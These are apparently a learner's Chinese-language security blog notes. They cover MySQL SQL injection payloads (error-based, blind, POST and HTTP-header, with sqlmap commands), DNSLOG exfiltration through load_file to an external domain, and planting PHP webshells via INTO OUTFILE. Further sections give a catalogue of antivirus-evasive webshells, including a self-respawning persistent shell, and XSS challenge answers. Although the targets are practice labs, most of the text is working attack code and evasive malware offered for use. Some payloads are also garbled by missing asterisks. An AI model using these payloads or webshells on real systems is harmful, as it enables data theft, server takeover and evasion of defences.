[1] babers. 利用 insert、update 和 delete 注入获得数据 [EB/OL]. 2017-07-28. https://www.cnblogs.com/babers/articles/7252401.html. [2026-01-23]

1.22 SQL注入系列-2

Thu, 22 Jan 2026 20:58:00 +0800

前置知识

注释符

--+ (推荐使用)在GET请求中，+ 会被解析为空格，常用于URL注入
# (需URL编码)在GET请求中需编码为 %23，避免与前端锚点冲突
/**/ (多行注释)用于绕过空格过滤，可代替空格分隔SQL关键字

在实践，当上面的注释符不可用时，还可以尝试%00或闭合的形式绕过

LIKE语句和转义字符

LIKE语句

再MySQL中LIKE语句用于模糊查询，其基本格式就是

`1`	`select * from 数据库名.数据表名 WHERE 字段名 like '%\匹配目标%'`

例如在一堆数据中查询包含@的数据

`1`	`select * from test.db1 WHERE pwd like '%\@%'`

但是因为一些字符的特殊性导致like语句的参数并不全都是'%\匹配目标%'那么简单，

例如你要查询含有\的数据，参数就要填'%\\\\%'，详情见下文。

转义字符对照表

转义序列	代表的字符	说明
`\n`	换行符（LF）	表示换行操作
`\t`	制表符（Tab）	表示横向制表
`\r`	回车符（CR）	表示回车操作
`\b`	退格符	表示删除前一个字符的操作
`\0`	NULL 字符	ASCII 0 字符，常用于字符串结束标记
`\\`	反斜杠 `\`	表示反斜杠本身（字符串中直接写`\` 会被解析为转义符，需用`\\` 表示字面量）
`\'`	单引号 `'`	表示单引号本身（避免与字符串的单引号边界冲突）
`\"`	双引号 `"`	表示双引号本身（当 SQL 模式为`ANSI_QUOTES` 时，双引号可能被解析为标识符，需转义）

在 LIKE 查询中，%和_是通配符，若要匹配它们本身，必须额外转义。

目标字符	转义方式（默认）	转义方式（ESCAPE 自定义）	示例（默认转义）
`%` （百分号）	`\%`	`#%` （以`#` 为转义符）	`LIKE '%\%%'`
`_` （下划线）	`\_`	`#_` （以`#` 为转义符）	`LIKE '%\_%'`
`\` （反斜杠）	`\\\\`	`#\` （以`#` 为转义符）	`LIKE '%\\\\%'`

🔍 注意：

反斜杠只转义紧跟其后的一个字符，所以\%只会把后面的%转义为普通字符，不会影响其他字符。
在 LIKE 中，反斜杠本身需要 双重转义 （\\\\），因为 MySQL 会先解析一次\\为\，然后 LIKE 再解析一次\\为\，最终得到一个字面量\。

ORDER BY与联合查询注入

这一部分在之前的文章已有讲述，详见1.5 mysql注入初步

仅补充一下注入测试位置

报错注入

报错注入指利用错误信息回显获取数据库内容

适用于页面无法正常回显查询内容，但会详细显示查询过程的错误信息时，可通过构造特殊SQL语句触发错误，将想要查询的数据通过错误信息带出。

✅标准注入方法是（以单引号闭合为例）：

`1`	`?id=1' and (查询语句) --+`

方法一：XPath函数报错

updatexml函数的定义

updatexml()函数用于修改XML文档中的节点。

`1`	`updatexml(XML_document, XPath_string, new_value)`

第一个参数XML_document是XML文档对象的名称。

第二个参数XPath_string是指定需要更新的XML节点的XPath表达式。

第三个参数new_value是新值，用于替换找到的符合条件的数据。

如果XPath_string格式错误，MySQL会抛出一个XPath语法错误。

updatexml报错注入

`1`	`SELECT updatexml(1,concat(0x7e,version(),0x7e),1);`

updatexml()函数的报错就是在第二参数上做文章，这里的concat(0x7e,version(),0x7e)试图通过concat()函数拼接一个字符串，version()函数返回当前数据库的名称。但是0x7e是一个十六进制值，代表的是ASCII字符~，通常不直接用于XPath表达式，这导致二个参数的XPath表达式格式不正确，引发函数报错。

所以这里只要在concat()函数中构造我们要查询的SQL注入Payload就可以利用：

爆数据库版本信息：

`1`	`SELECT updatexml(1,concat(0x7e,@@version,0x7e),1)`

爆当前数据库名：

`1`	`SELECT updatexml(1,concat(0x7e,database(),0x7e),1)`

爆当前库中表名：

`1`	`SELECT updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)`

爆表字段信息：

`1`	`SELECT updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='数据表名'),0x7e),1)`

爆字段内容信息：

`1`	`SELECT updatexml(1,concat(0x7e,(select group_concat(字段名) from 数据库名.数据表名),0x7e),1)`

综上，XPath函数报错的本质就是利用updatexml()和concat()两个函数，标准的语句就是

`1`	`SELECT updatexml(1,concat(0x7e,查询函数1,0x7e,查询函数2,0x7e),1)`

其中updatexml()是调用修改xml的功能，参数第一个和第三个随便填个数字（遵循其用法），第二个参数使用concat()函数拼接字符串，concat()的参数根据实际需要填写，个数不限，里面必须要有0x7e引起报错，结合查询参数，比如datebase()查数据库名，select语句(外面要加括号)查更详细内容。

extractvalue()函数

extractvalue()和updatexml()的用法基本一致，只不过extractvalue()只有两个参数，所以只需要删掉上面示例语句中updatexml()的第三个参数1就可以了。

例如：

`1`	`SELECT extractvalue(1,concat(0x7e,@@version,0x7e))`

方法二：count() + group by + floor(rand()2)报错

原理解释（仅作了解）

前置知识：

1. rand(0) 的伪随机特性

rand(seed) 是 伪随机数生成函数 ，当种子固定为0时，生成的随机数序列是完全固定的 。
在同一个查询中 ，多次调用rand(0)会生成连续的随机数（而非每次重置种子）。
实际测试序列（从种子0开始）：

调用次数	`rand(0)`返回值	`floor(rand(0)*2)`结果
第 1 次	0.15522042769493574	0
第 2 次	0.6207181804390444	1
第 3 次	0.6387417590220086	1
第 4 次	0.4010441501938625	0
第 5 次	0.7180266582204114	1

2. GROUP BY 的虚拟表执行流程

GROUP BY会维护一个虚拟临时表 ，结构为(分组键x, 计数count)，执行逻辑是：

初始化空虚拟表，分组键是唯一键（不允许重复）。
遍历原表每一行：a. 计算当前行的分组键表达式，得到x1。b. 检查虚拟表是否存在x1：
- 存在 → 对应行的count加 1。
- 不存在 → 再次计算分组键表达式 得到x2，然后插入新行(x2, 1)。
遍历结束后返回虚拟表结果。

按步骤还原报错过程：

假设users表有至少 3 行数据 （触发报错的必要条件），我们逐行分析虚拟表的变化：

初始化状态 ，虚拟表为空：

x	count
空	空

步骤 1：处理第 1 行数据

计算分组键 x1（第 1 次调用rand(0)）：floor(rand(0)*2) → 0。
检查虚拟表 ：没有x=0的行，需要插入新行。
再次计算分组键 x2 （第 2 次调用rand(0)）：floor(rand(0)*2) → 1。
插入虚拟表 ：新增行(1, 1)。

虚拟表现在：

x	count
1	1

步骤 2：处理第 2 行数据

计算分组键 x1 （第 3 次调用rand(0)）：floor(rand(0)*2) → 1。
检查虚拟表 ：存在x=1的行，将count加 1 → count=2。

虚拟表现在：

x	count
1	2

步骤 3：处理第 3 行数据（触发报错‼️）

计算分组键 x1 （第 4 次调用rand(0)）：floor(rand(0)*2) → 0。
检查虚拟表 ：没有x=0的行，需要插入新行。
再次计算分组键 x2 （第 5 次调用rand(0)）：floor(rand(0)*2) → 1。
尝试插入虚拟表 ：新增行(1, 1)，但虚拟表中已存在**x=1**的行（分组键是唯一键）。
报错触发：MySQL 抛出<font style="color:#DF2A3F;background-color:rgba(0, 0, 0, 0);">ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'</font>（重复键错误）。

报错核心原因总结

双重计算分组键 ：GROUP BY在插入新行时会再次计算分组键，导致rand(0)被额外调用一次。
固定序列冲突 ：rand(0)的固定序列使得 “插入时计算的分组键” 与虚拟表中已存在的分组键重复。
唯一键约束 ：虚拟表的分组键是唯一键，重复插入会触发主键冲突错误。

补充：如果users表行数不足 3，可能不会报错（比如仅 2 行时，插入 1 次后后续行直接累加计数，无二次插入）。

使用方法

示例payload：

爆当前数据库及表名：

`1`	`SELECT count(), concat(0x7e, database(), 0x7e, table_name, 0x7e, floor(rand(0)2)) AS x FROM information_schema.tables WHERE table_schema = database() GROUP BY x`

爆当前表的所有字段名：

`1`	`SELECT count(), concat(0x7e, table_name, 0x7e, column_name, 0x7e, floor(rand(0)2)) AS x FROM information_schema.columns WHERE table_schema = database() AND table_name = '表名' GROUP BY x`

爆字段内容信息：

`1`	`SELECT count(), concat(0x7e, (SELECT concat(group_concat(字段名1),0x3a, group_concat(字段名2)) FROM 表名), 0x7e, floor(rand(0)2)) AS x FROM information_schema.tables GROUP BY x`

布尔型注入

构造不同的SQL语句，根据页面返回的真假状态（如页面正常显示、报错或空白）来逐位推断数据库信息。

适合无错误回显但页面有明显差异的场景。

核心函数

length() - 判断长度

`1`	`SELECT length(database()) //返回数据库名的字符长度`

substr() - 截取字符

`1`	`SELECT substr(database(),1,1) //从第一个字符开始截取一位`

ascii() - 转ASCII码

`1`	`SELECT ascii(substr(database(),1,1)) //将字符转为ASCII码值用于比较`

💡效率优化： 使用二分法可大幅减少请求次数。ASCII值范围32-126，最多只需7次比较即可确定一个字符。

注意事项： 布尔型注入请求量大，易被WAF拦截。建议编写自动化脚本或使用SQLMap工具。

总之，了解原理就行，碰到就用sqlmap，别折磨自己。

POST型盲注

之前我们接触的都是通过GET接收信息的类型，

但还存在通过POST接收信息的，通常存在于登录窗口等页面上

POST型盲注有这样几个特点

参数在请求体中

长度无限制

常用#注释

需抓包工具分析

小测验

第一关

访问[WeChall] Training: MySQL I

在username一栏尝试闭合，发现admin'没有报错。

查看源码：

`1`	`SELECT * FROM users WHERE username='$username' AND password='$password'`

所以可以用万能钥匙绕过密码检查，username填admin' #即可

第二关

访问：[WeChall] Training: MySQL II

同样发现是单引号闭合。

查看源码：

function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
        $db = auth2_db();
        $password = md5($password);
        $query = "SELECT * FROM users WHERE username='$username'";
        
        if (false === ($result = $db->queryFirst($query))) {	//使用查询语句查询对应的密码
                echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
                return false;
        }
        #############################
        ###	 新		增		部		分  ###
        if ($result['password'] !== $password) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
                return false;
        } #	 新		增		部		分  ###
        #############################

发现这次是对用户名和密码单独进行校验，并且发现对密码进行了md5校验，因此唯一可操作的地方就是username，主要思路就是利用union select报错位掩盖真实数据来让程序以为自己查到的数据变成可以由我们指定的数据。

`1`	`admin' order by 3`

后面最大为3时不报错，说明存在3个报错位（也就是users这个表中的字段数）

根据常识字段大概依次为id,username,password，说明我们应该利用第2，3报错位，

根据题目要求username填admin，密码因为是md5加密过的，所以我们填

1
2

用户名	-admin' union select 1,'admin',md5(123) #
密码	123	不唯一，只要和上面对应就行

前面加-是为了引起报错，从而让后面的union select得以覆盖报错位。此外，使用or 1=2永假条件也可以强制报错。

第三关

访问：[WeChall] No Escape，我们的任务是修改任意一个候选人的票数为111，且程序提到票数达到100时会重制，所以靠手点肯定是不行的。

任意点击投票按钮发现网址后会跟着一个参数?vote_for=xxx

查看源码(核心)：

`1`	$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

可以看到是传入参数后用uodate函数将对应的值+1

已知句中第二个$who是我们传入的参数值，现在我们要使用闭合（注意原题使用反引号`闭合）加注释的方法在这一行进行注入。

上面的划线部分就是我们传入的参数，删除线部分是被注释掉的部分，从整个语句来看，该参数成功做到了将wagenk项对应的值修改为111，并且注释了后面原本的内容。所以此外还要注意POST数据的编码转换，所以最后的payload就是：

`1`	?vote_for=wagenk`=111%20%23

HTTP 头注盲注详解

基本概念

HTTP 头注盲注（HTTP Header Blind SQL Injection）是一种特殊的 SQL 注入攻击，攻击者通过篡改 HTTP 请求头部字段（如 User-Agent、Referer、Cookie、X-Forwarded-For 等），将恶意 SQL 代码注入到后端数据库查询中，同时由于应用程序不返回数据库错误信息或查询结果，只能通过页面响应差异（布尔值）或时间延迟来判断注入结果，从而逐位提取敏感数据的攻击方式。

漏洞原理

开发者将 HTTP 头信息直接写入数据库（如日志记录功能），未做过滤或转义处理
典型场景：insert into logs(username, ip, useragent) values('admin', '127.0.0.1', 'user-agent内容');
全局过滤常只针对 GET/POST 参数，忽略 HTTP 头信息，导致绕过防御

常见注入点

HTTP 头中可能存在注入漏洞的字段包括：

头部字段	常见使用场景	注入风险说明
User-Agent	记录客户端浏览器信息	广泛用于日志，易被忽略过滤
Referer	记录访问来源页面	部分应用会存储该信息用于分析
Cookie	会话管理、用户标识	常包含用户 ID 等关键信息，直接用于查询
X-Forwarded-For	获取客户端真实 IP	反向代理环境下常用，易被直接存入数据库
Host	指定目标服务器域名	部分应用会根据 Host 值生成动态内容
Accept-Language	语言偏好设置	多语言网站可能使用该值查询数据库

使用sqlmap注入

前置准备：抓取目标 HTTP 请求包

sqlmap 处理 HTTP 头注入时，最便捷的方式是先抓取完整的 HTTP 请求包并保存为文本文件（通常命名为request.txt）。

抓包工具 ：Burp Suite
抓包示例 ：
1. 配置浏览器代理，拦截目标请求；
2. 找到包含目标 HTTP 头（如 User-Agent、Cookie）的请求；
3. 右键选择「Copy to file」保存为request.txt。
request.txt 示例内容 ：

GET /log.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Referer: https://target.com
Cookie: PHPSESSID=abc123
Accept-Language: zh-CN,zh;q=0.9
Connection: close

核心操作步骤

sqlmap 针对 HTTP 头注盲注的核心逻辑是：指定请求文件 → 标记注入点 → 选择盲注类型 → 自动化检测 / 提取数据。

基础命令（检测 HTTP 头注入漏洞）

指定单个 HTTP 头注入点

以User-Agent头为例，在请求文件中找到User-Agent行，在需要注入的位置添加*标记注入点，再执行 sqlmap 命令：

修改后的 request.txt （关键：User-Agent: *）：

GET /log.php HTTP/1.1
Host: target.com
User-Agent: *
Referer: https://target.com
Cookie: PHPSESSID=abc123
Connection: close

检测命令 ：

1
2

# -r 指定请求文件，-p 指定注入点（对应*的位置），--risk 2 提高检测强度，--level 3 检测更多HTTP头
sqlmap -r request.txt -p User-Agent --risk 2 --level 3 --batch

针对 Cookie/Referer/X-Forwarded-For 等其他头

只需将*标记到对应头部字段即可，示例：

Cookie 注入：Cookie: PHPSESSID=*
X-Forwarded-For 注入：X-Forwarded-For: *
Referer 注入：Referer: *

如果 sqlmap 未自动识别盲注类型，可手动指定布尔盲注（B）或时间盲注（T）：

布尔盲注（最常用）

1
2

# --technique B 指定布尔盲注，--dbms 指定数据库类型（如MySQL），-v 1 显示基础日志
sqlmap -r request.txt -p User-Agent --technique B --dbms MySQL --batch -v 1

时间盲注（无页面响应差异时）

1
2

# --technique T 指定时间盲注，--delay 2 设置每次请求延迟2秒（避免误判），--time-sec 5 设置sleep时间5秒
sqlmap -r request.txt -p User-Agent --technique T --delay 2 --time-sec 5 --batch

提取数据

确认存在漏洞后，可通过在下面的基础命令上添加之前学习的参数提取数据库、表、字段、数据：

`1`	`sqlmap -r request.txt -p User-Agent`

针对盲注速度慢的问题，可添加以下参数优化：

1
2
3

# --threads 5 开启5线程（不要太高，避免被拦截），--charset "0-9a-z" 指定字符集缩小猜测范围
# --binary-hex 用16进制提取数据，避免字符编码问题，--smart 智能检测减少无效请求
sqlmap -r request.txt -p User-Agent --technique T --threads 5 --charset "0-9a-z" --binary-hex --smart --batch

1.22.SP 奇技淫巧：SQL注入之数据外带

Thu, 22 Jan 2026 20:57:38 +0800

拓展一：DNSLOG 注入 [1]

在很多情况下，特别是登录框，你绞尽脑汁试图传入一些参数让系统返回报错内容供你分析，但很可惜，页面看起来永远也不可能输出错误信息给你了，那现在怎么办？

有一种神奇的东西叫做 DNSLog平台，你可以在上面申请一个子域名，它可以向DNS询问谁访问过它的这个子域名。

访问：eye.sh，并申请一个子域名，例如1b9va5vk.eyes.sh

接下来打开你的cmd ，输入ping nihao.1b9va5vk.eyes.sh，虽然显示拒绝访问，但是实际上你已经向DNS提出了解析申请，所以你现在可以在网站上看到你访问的记录。

这显然是一个带出数据的好方法，我们只要传入参数，让数据库把我们想要的信息拼接在域名前面并访问，我们就可以在DNSLog上看到记录了。

示例（查看当前数据库名）：

`1`	`?id=1' and (select load_file(concat('\\\\',(select database()),'.域名\\a'))) --+`

或者（推荐）

`1`	`sqli_str.php?name=abc' and if((select load_file(concat('\\\\',(database()),'.域名\\xxx'))),1,0) --+&submit=submit`

示例（查看当前表名）：

sqli_str.php?name=abc' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x70696b61636875 limit 0,1),'.域名\\xx1'))),1,0) --+&submit=submit

打开dnslog.py并使用Ctrl+S保存文件为php根据您的实际情况适当修改配置作为虚拟靶场。

传入上面的参数，查看DNSLog平台，发现记录的域名前确实是当前数据表。

拓展二：[2]

分析数字型/字符型(单/双引号)注入： 一顿操作发现是((''))闭合

接下来就是注入了，我们从本关的标题了解到： dump into outfile,意思是本关我们利用文件导入的方式进行注入。（在补充下载源码中我们发现，print_f(mysql_error()) 被注释掉了说明我们不能基于报错来进行注入，但我们可以使用布尔盲注，直接套Less-5的表达式就能得出我们想要的信息，但这不是本关的意图。）

那么我们使用导出文件开始注入吧：

第一种思路：

先导出文件

导出文件就是可以向服务器写入文件，但是利用的时候要知道数据库、网站的路径，但在Less-7下我们无法获取到网站路径，因为它报错不在返回报错的数据库信息，那么怎么办？很简单，在Less 1-6关中是返回报错信息的，那么我们随便挑一关进行报错注入，来获取我们想要的信息，这里以Lese-1为例

获取网站的绝对路径：(@@datadir获取数据库存储数据路径，@@basedir是MySQL获取安装路径)

?id=-1' union select 1,2,@@datadir --+

@@datadir返回的是数据库存储数据的路径，而我们知道网站路径是在WWW目录下，那么结合@@datadir我们可以推断出网站的绝对路径为 C:\phpStudy\www\

（PS：实际上我们要获得一个网站的绝对路径是很困难的）

读写权限测试：

id=1')) and (select count(*) from mysql.user)>0 --+ 如果返回正常则有读取权限

返回正常，说明具有文件读取权限

提示：

MySQL是通过权限表来控制用户对数据库访问的，权限表存放在mysql数据库中，主要的权限表有以下几个：user,db,host,table_priv,columns_priv和procs_priv

利用into outfile 进行演示：

`1`	`?id=1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" --+`

虽然显示 sql 报错了，但是没有关系，我们可以在浏览器或后台中看到 test.txt 文件已经生成了

`1`	`?id=-1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" --+`

（这里用-1还是1，实际上是没多大区别的，因为union是联合查询。）

注意：

C:\\phpStudy\\WWW\\sqli\\Less-7\\是当前关卡的路径，当然如果想直接放在WWW目录下也是一样的：

提示：

反斜杠\是Windows系统文件目录结构使用的分隔符，如：D:\我的文档。只有 windows 支持反斜杠路径符 \ ，而所有系统支持 /

但是我们还应该知道 \ 也是转义字符，在url中他会当成转义字符处理，所以我们用 \ 对反斜杠进行转义，那么结果就变成了一个反斜杠。

4.导入到文件

我们可以直接将一句话木马导入进去（注意：$_POST是php的内置变量，而且php还区分大小写的，所以这里一定要写正确）

`1`	`id=1')) union select 1,2,'<?php @eval($_POST["shell"])?>' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.php" --+`

接下来用菜刀等 webshell 管理工具连接即可.

第二种思路：

注意：

对文件进行导入导出首先得要有足够的权限，
但是mysql默认不能导入和导出文件，这与secure_file_priv的值有关（默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值

show variables like '%secure%';

如果是null，想得到导入导出权限，可以在my.ini文件[mysqld]的后面加上secure_file_priv=''（两个英文单引号），然后重启phpstudy即可

还要注意的是：
1、outfire 后面的路径为绝对路径且存在
2、要有足够的权限
3、注入的内容也可以是字符串，句子
4、要想注入新内容，需要新的文件名

这里写入文件的时候，需要注意的是利用数据库file权限向操作系统写入文件时，对于相同文件名的文件不能覆盖，所以如果第一次上传test.php，下次再上传test.php，就是无效命令了，也就是新的test.php中的内容并不会覆盖之前的test.php

获取字段数：

?id=1')) order by 3 --+

最大为3时不报错

导出数据库名

`1`	`id=-1')) union select 1,user(),database() into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\aaa.txt" --+`

让id=-1是为了让后面的报错位完全覆盖前面的查询数据，我们要的是联合查询union后面查询的数据。

接着访问生成的txt文件

导出表名

`1`	`?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\bbb.txt" --+`

（注意：这里文件名换了。要想注入新内容，需要新的文件名，接下来相同）

导出字段名

`1`	`?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\ccc.txt" --+`

导出数据

`1`	`?id=-1')) union select * from users into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\ddd.txt" --+`

使用菜刀

导入一句话木马：

`1`	`?id=1')) union select 1,2,'<?php @eval($_POST["mima"])?>' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.php" --+`

接下来的步骤与前面的一样，不再重复了。

参考文献：

[1] 途中风雨. SQL注入（7）之DNSLOG注入 [EB/OL]. 2025-03-13. https://blog.csdn.net/2401_88816569/article/details/146240009.[2026-01-22]

[2] 小哈小哈喽. Sqli-labs之Less-7 [EB/OL]. 2020-06-04. https://blog.csdn.net/m0_46315342/article/details/106557552.[2026-01-22]

1.21 Webshell 免杀和正则表达式

Wed, 21 Jan 2026 17:13:28 +0800

使用木马识别网站检验免杀效果：https://www.virustotal.com/gui/

一句话木马免杀

使用eval方法

`1`	`<?php eval($_POST['cmd']);?>`

使用assert方法

`1`	`<?php assert($_POST['cmd']);?>`

写成HTML语言

`1`	`<script language="php"> eval($_POST['cmd']);</script>`

call_user_func调用

`1`	`call_user_func(assert,$_POST['cmd']);`

拆分敏感字符(拆成若干部分)

1
2

$a = substr_replace("assexx","rt",4);
$a($_POST['cmd']);

自定义函数

<?php
function fun1($a){
    $a($_POST['cmd']);
}
fun1(assert);
?>

插入无意义字符

<?php

$a = $_REQUEST['cmd'];	//接收用户通过GET/POST/COOKIE任意方式传入的参数
$b = '\n';	//单引号会原样输出,所以这行作用就是插入无意义内容来混淆
eval($b.=$a);	//等价于eval($b = $b.$a),php会忽略/n

?>

面向对象

<?php

class me{
    public $a = ''; // 定义公共属性$a，初始值为空字符串
    function __destruct(){ // 定义析构函数（核心）
        assert("$this->a"); // 析构函数触发时，执行assert，参数是对象属性$a的值
    }
}

$obj = new me; // 实例化me类，创建对象$obj
$obj->a = $_POST['cmd']; // 将用户POST传入的cmd参数赋值给对象的$a属性


?>

加密绕过(base64)

<?php

$a = base64_decode("YXNzZXJ0");
$a($_POST['cmd']);

?>

拆碎敏感字符(拆成字母)

<?php

$a = "a"."s";
$b = "s"."e"."r"."t";
$c = $a.$b;
$c($_POST['cmd']);

?>

借刀杀人

<?php

if(isset($_POST['file'])){
    $d = 'data';
    $$d = $_POST['dt'];//$data
    $f = 'fp';
    $$f = fopen($_POST['file'],'wb');//$fp
    echo fwrite($fp,$data)?'yes':'no';
    fclose($fp);
}

?>

使用方法： POST内容为file=文件名.php&dt=一句话木马,这样本Webshell(表面安全)会在目录下创建一个真木马,从而绕过上传中间的查杀.

内存马

<?php

//本程序使用进程运行，进程死了我才死
ignore_user_abort(true);
set_time_limit(0);
//自杀
unlink(__FILE__);
$file = './.hello.php';
$code = '<?php if(md5($_POST["pass"])=="202cb962ac59075b964b07152d234b70"){@eval($_POST["cmd"]);} ?>';
//上面设定了密码防止木马被他人滥用,木马填md5加密后的密文,但传入时传明文
while(1){
    file_put_contents($file,$code);
    usleep(5000);
}

?>

使用方法：

先访问test1.php这时该php会立即自杀，自杀之后会出现.hello.php杀不掉，接着访问.hello.php文件,POST内容pass=密码明文&cmd=命令

防御方法：

重启服务
创建新php文件,用ignore_user_abort(true);进行竞争写入
Linux下创建一个名字为.haha.php的文件夹

正则表达式

标准正则表达式

仅供参靠，实战建议交给AI解决！

功能: 匹配东西，找东西

正则表达式	准确描述	示例（匹配 / 不匹配说明）
`\w`	匹配字母（大小写）、数字、下划线，等价于 `[A-Za-z0-9_]`（非所有字符）	匹配：`a`、`5`、`_`、`B`；不匹配：`@`、`空格`、`￥`、`\n`
`\w{3}`	匹配连续 3 个字母 / 数字 / 下划线（固定长度）	匹配：`abc`、`89_`、`X78`；不匹配：`ab`、`abcd`、`a 8`（含空格）
`\w+`	匹配 1 次或多次字母 / 数字 / 下划线（贪婪匹配，至少 1 个）	匹配：`user123`、`_abc`、`888`；不匹配：空字符串、`@123`（以特殊字符开头）
`\s`	匹配空白字符（空格、制表符`\t`、换行符`\n`、回车符`\r`等）	匹配：（空格）、`\t`、`\n`；不匹配：`a`、`5`、`@`
`^`	锚点，匹配字符串的开头位置（多行模式下匹配每行开头）	`^hello`：匹配`hello world`，不匹配`world hello`
`$`	锚点，匹配字符串的结尾位置（多行模式下匹配每行结尾）	`world$`：匹配`hello world`，不匹配`world hello`
`\b\w{3}\b`	`\b`是单词边界，匹配 “独立的 3 个字符的单词”（前后为非字母 / 数字 / 下划线）	匹配：`abc`（单独）、`abc 123`中的`abc`；不匹配：`abcd`中的`abc`、`aabc`中的`abc`
`\d`	匹配单个数字（0-9），等价于 `[0-9]`	匹配：`0`、`9`；不匹配：`a`、`_`、`空格`
`\d{3}-\d{7}`	匹配 “3 位数字 - 7 位数字” 的格式（典型座机号格式）	匹配：`010-1234567`、`888-9999999`；不匹配：`01-1234567`（位数不足）、`010-123456`
`\w+@(qq.com竖线gmail.com)`	匹配以字母 / 数字 / 下划线开头，@后是qq.com或gmail.com的邮箱	匹配：`user123@qq.com`、`abc_88@gmail.com`；不匹配：`user@163.com`、`@qq.com`
`*`	匹配前面的表达式 0 次或多次（贪婪匹配）	`a`：匹配`空字符串`、`a`、`aaaa`；`\d`：匹配`空`、`123`
`.`	匹配除换行符`\n`外的任意单个字符	`.`：匹配`a`、`5`、`@`、`空格`；不匹配：`\n`
`?`	匹配前面的表达式 0 次或 1 次（非贪婪）	`a?`：匹配`空`、`a`；不匹配：`aa`（仅匹配第一个 a）
`+`	匹配前面的表达式 1 次或多次（贪婪，至少 1 次）	`a+`：匹配`a`、`aaaa`；不匹配：空字符串
`.*`	贪婪匹配：匹配除换行外的任意字符 0 次或多次（尽可能多匹配）	`a.*b`：匹配`a123b`、`a@@@b`，若字符串是`a1b2b`则匹配`a1b2b`（而非`a1b`）
`\[.*?\]`	非贪婪匹配：匹配`[`和`]`之间的任意内容（尽可能少匹配）	`\[.*?\]`：字符串`[abc][def]`中匹配`[abc]`和`[def]`（而非整体`[abc][def]`）
`\[label[0-9]\](.*?)\[/label[0-9]\]`	匹配`[label数字]`和`[/label数字]`之间的内容（非贪婪）	匹配：`[label1]test[/label1]`中的`test`；不匹配：`[labela]test[/label1]`（数字不匹配）
`.orn`	匹配 “任意字符 + orn” 的 4 字符组合	匹配：`corn`、`born`、`@orn`；不匹配：`orn`（字符不足）、`corrn`
`[ab]bcd`	匹配以 a 或 b 开头，后接 bcd 的字符串（字符类）	匹配：`abcd`、`bbcd`；不匹配：`cbcd`、`abxd`
`[^a]bcd`	匹配以 “非 a 字符” 开头，后接 bcd 的字符串（反向字符类）	匹配：`bbcd`、`5bcd`、`@bcd`；不匹配：`abcd`
`[f-z]+`	匹配 1 次或多次 f 到 z 的小写字母（字符范围）	匹配：`f`、`xyz`、`mnop`；不匹配：`F`（大写）、`abc`、`123`
`[a]?bcd`	匹配 “a（可选）+ bcd”，即 bcd 或 abcd	匹配：`bcd`、`abcd`；不匹配：`aabcd`、`xbcd`
`[0-3]{3}`	匹配连续 3 个 0-3 的数字（固定长度 + 字符范围）	匹配：`012`、`333`、`201`；不匹配：`456`、`01`、`014`
`()`	分组：将括号内的表达式视为一个整体，可配合量词 / 或使用	(ab)+：匹配`ab`、`abab`

php正则表达式

i 忽略大小写

g 全局搜索

m 多行

e 当作php执行

示例1：

<?php 

$str1 = "haha nihao 123 456 789 !";
//正则表达式
$pa = '/(\d+)/i';	//匹配所有数字组合
echo preg_replace($pa,'x',$str1);	//用x替换匹配到的内容

?>

输出：haha nihao x x x !

示例2：

<?php 

$str1 = "haha nihao 123 456 789 !";

//正则表达式
//        1     2     3     4     5
$pa = '/(\w+) (\w+) (\d+) (\d+) (\d+)/i';

$replace = 'good ${2}------${4}';

echo preg_replace($pa,$replace,$str1);

?>

输出：good nihao------456 !

正则表达式的一句话木马：

<?php 
//传入haha=任意值&z0=system('系统命令');后者传入base64加密后的密文
$a = $_POST['haha'];	//任意传入参数haha触发下面if为true，执行后面的语句

if(isset($a)){
    //下面使用正则表达式去掉后面核心木马语句的中括号，并且/e表示将替换后的字符当作命令执行
    preg_replace("/\[(.*)\]/e",'\\1','[eval(base64_decode($_POST[z0]))]');
}

?>

补充：日志审计

打开：CISP-PTE 认证考试并下载日志

使用正则表达式\.php.+ 200查找

1.19 XSS 注入攻击2与文件上传

Mon, 19 Jan 2026 20:47:50 +0800

XSS挑战题

打开XSS挑战靶场：欢迎来到XSS挑战

这里给出前11题答案和部分题目的思路。

Level 1

`1`	`<script>alert(1)</script>`

Level 2

`1`	`<input name=keyword value=" x"><script>alert(1)</script> ">`

Level 3

`1`	`<input name=keyword value=' x' onmouseover='alert(1) '>`

Level 4

`1`	`<input name=keyword value=" x" onclick="alert(1) ">`

Level 5

`1`	`<input name=keyword value=" x"><a href="javascript:alert(1)">恭喜你</a>// ">`

Level 6

`1`	`<input name=keyword value=" x"><a hREf="javascript:alert(1)">恭喜你</a>// ">`

Level 7

`1`	`<input name=keyword value=" x"><a hRhREfEf="javascrscriptipt:alert(1)">恭喜你</a>// ">`

Level 8

1
2
3

javascript:alert(1)
href后面会自动翻译unicode编码，不一定每一次都要直接用地址栏进行get请求
javasc&#114;&#105;pt:alert(1)

发现某一语句被过滤时要善用：

双写绕过
HTML实体编码
HTML标签大小写不敏感（js函数大小写敏感）
HTML语句的结构松散（写一半换行）

Level 9

